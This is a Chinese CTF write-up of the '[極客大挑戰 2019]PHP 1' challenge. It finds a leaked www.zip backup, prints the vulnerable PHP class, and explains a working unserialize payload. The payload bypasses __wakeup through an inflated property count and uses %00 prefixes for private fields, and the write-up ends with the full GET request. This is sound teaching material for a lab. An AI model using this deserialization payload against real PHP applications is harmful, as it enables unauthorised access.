1. 程式人生 > 實用技巧 >[極客大挑戰 2019]PHP 1

[極客大挑戰 2019]PHP 1

進入頁面,檢查原始碼之類的都沒資訊,提到了備份,用御劍掃描出www.zip,直接加在url後

下載之後解壓,然後得到一些以下檔案

第一反應開啟flag.php,結果沒東西,看index.php

包含class.php,用get傳遞一個select引數,再進行unserialize反序列化

檢視class

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public
function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>";
echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }
else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>

分析程式碼可知在執行destruct魔術方法的時候,如果使用者名稱為admin,密碼為100則可以輸出flag的值。

但是wakeup方法會導致username成為guest,因此需要通過序列化字串中物件的個數來繞過該方法。

payload:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

到了這一步,問題就來了,在反序列化的時候會首先執行__wakeup()魔術方法,但是這個方法會把我們的username重新賦值,所以我們要考慮的就是怎麼跳過__wakeup(),而去執行__destruct

繞過__wakeup()

在反序列化字串時,屬性個數的值大於實際屬性個數時,會跳過 __wakeup()函式的執行

因此我們將序列化這樣設定

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

不過還是沒有結束,因為這個宣告變數是private

private

private 宣告的欄位為私有欄位,只在所宣告的類中可見,在該類的子類和該類的物件例項中均不可見。因此私有欄位的欄位名在序列化時,類名和欄位名前面都會加上0的字首。字串長度也包括所加字首的長度

我們再次改造一下序列化

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

最後,通過get請求傳遞select引數過去

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}